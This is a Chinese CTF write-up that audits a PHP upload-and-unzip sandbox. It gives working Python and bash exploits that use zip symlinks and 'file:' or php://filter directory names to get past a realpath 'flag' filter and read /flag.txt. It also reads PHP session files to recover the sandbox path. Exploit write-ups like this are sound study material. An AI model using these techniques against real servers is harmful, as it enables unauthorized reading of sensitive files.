前言
不要为了做题而做题--------时刻提醒
看师傅的文章,发现一道很有意思的题,批评师傅没讲明白,研究了好久,大概看明白了
代码审计
<?php
session_start() or die('session_start');
$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
flock($lock, LOCK_EX | LOCK_NB) or die('flock');
@mkdir($sandbox, 0700);
chdir($sandbox) or die('chdir');
if (isset($_FILES['file']))
system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
readfile($_GET['file']);
fclose($lock);
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');:以写入模式打开一个名为 .lock 的文件,如果无法打开则输出'fopen'并终止脚本。这是为了在并发环境中避免多个进程同时访问相同的沙盒目录。
flock($lock, LOCK_EX | LOCK_NB) or die('flock');:获取独占锁,如果无法获取则输出'flock'并终止脚本。这是为了确保在同一时刻只有一个进程可以访问沙盒目录。
@mkdir($sandbox, 0700);:创建沙盒目录,如果目录已存在则忽略错误。设置目录权限为0700,只允许所有者读、写、执行。
chdir($sandbox) or die('chdir');:改变当前工作目录为沙盒目录,如果失败则输出'chdir'并终止脚本。
system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES'file'));:如果上传了文件,则执行系统命令,限制虚拟内存使用量为8192KB,超时2秒,解压上传的文件到当前目录。
ulimit -v 8192:这是一个用于设置 shell 虚拟内存限制的命令。在这里,-v 8192 表示将虚拟内存限制设置为 8192KB。这可以防止系统资源被过度占用,从而限制了解压操作可能占用的内存量。
&&:这是一个逻辑操作符,用于连接两个命令。在这里,它表示在第一个命令执行成功的情况下才会执行第二个命令。
/usr/bin/timeout -s KILL 2:这是一个用于设置命令执行超时的工具。-s KILL 参数表示在超时时发送 SIGKILL 信号强制终止命令的执行,2 表示超时时间为 2 秒。
/usr/bin/unzip -nqqd .:这是一个用于解压文件的命令。具体参数的含义如下:
-n:不覆盖已存在的文件。
-qq:安静模式,不显示解压缩过程中的信息。
-d .:指定解压缩后的文件存放目录为当前目录。
escapeshellarg($_FILES'file'):这是一个 PHP 函数,用于转义命令中的参数,以防止命令注入攻击。它会返回一个经过转义的文件名,用作命令的参数。
if (isset($_GET['file'])) { if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: '')) { readfile($_GET['file']); } }:如果GET请求中包含'file'参数,并且该参数的值不匹配指定的正则表达式,则读取文件内容并输出。
fclose($lock);:关闭文件锁,释放资源。
方法一
这个代码审计起来难度不低,其实很高,所以直接看别人审计的结果,更好帮助理解前面就是创建一个目录什么的不重要,重要的是readfile可以读取文件,而且可以配合为协议的使用,然后又有unzip压缩的过程,其实想到软链接,当然这里多了一个不速之客,就是realpath,它是干嘛的?realpath会解析软链接的路径,返回一个绝对路径。就是我们即使放入了软链接,也会被解析出来,导致不能执行readfile,但是它有一个缺陷,就是它不能识别协议,会把协议当然文件夹,而readfile可以,什么意思,我拿师傅举的例子,比如我file:///flag.txt,readfile就是读取/flag.txt文件,
mkdir file:
cd file:
touch 1.txt
ln -s 1.txt flag.txt
cd ..
zip -ry 1.zip file:
经过我这样一番操作,解压1.zip之后,file:///flag.txt 因为file:就不会丢弃了,因为现在file:是个目录了,如果file:不是目录会怎么样?realpath 会丢弃协议部分 file://,并返回 /flag.txt 作为解析后的绝对路径。现在不丢弃,那绝对路径就是file:/flag.txt,而ln -s 1.txt flag.txt,flag.txt是指向1.txt的软链接,那真实的路径就是file:/1.txt,所以就不包含flag,绕过了if
下面是具体的实现过程我们只能靠python脚本来实现
import requests as req
headers = {
'Cookie': 'PHPSESSID=rfh9isimb4h8vg87dcrssde6fa'
}
url = "http://node4.anna.nssctf.cn:28952/"
filename = r"C:\Users\86135\Desktop\2.zip"
def upload(url ,fileName):
file = {"file":open(fileName,'rb')}
response = req.post(url=url, files=file,headers=headers)
print(response.text)
def read(url):
url=url+"?file=file:///flag.txt"
res=req.get(url,headers=headers)
print(res.text)
if __name__ == "__main__":
upload(url,filename)
read(url)
上面有个细节就是cookie必须加,因为我第二次去访问的时候如果没有cookie,不知道文件是否上传了,导致失败。
成功得到flag
方法二
当然本题还应该有一种想法,那就是传木马,传个php文件,上去,传文件就需要知道路径,因为访问的时候需要路径,但是我们看前面$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
random造成了很大的困难,但是很舒服的是存在session里面的,我们可以去读读session的位置获得那个值
import requests
url = "http://node4.anna.nssctf.cn:28952/"
s = requests.Session()#每一次请求都包含session,相当于同一个人发出的请求
res = s.get(url)#看着多余,但是为了获取cookie,必须先执行一遍
sess_id = s.cookies["PHPSESSID"]
print(f"[+] PHPSESSID = {sess_id}")
re = s.get(f"{url}/?file=/var/lib/php/sessions/sess_{sess_id}")
print(re.text)
sandbox = re.text.split(":")[-1].split(";")[0][1:-1]
print(f"[+] sandbox = {sandbox}")
但是有一个致命问题
ningx的配置
location = /index.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
只把index.php以php方式解析
所以才放弃这个思路
方法三
这个
我们可以看到是这个结果,那我们这时候再使用软链接就可以了,
在自己服务器上执行,需要对curl命令有一定的熟悉
#!/bin/bash
rm -rf exploit.dir
mkdir -p exploit.dir
pushd exploit.dir
TARGET='http://65.108.176.76:8200'
EPATH='php://filter/convert.base64-encode/resource=exploit'
mkdir -p $EPATH
ln -s /flag.txt exploit
zip -y -r exploit.zip *
curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
echo
popd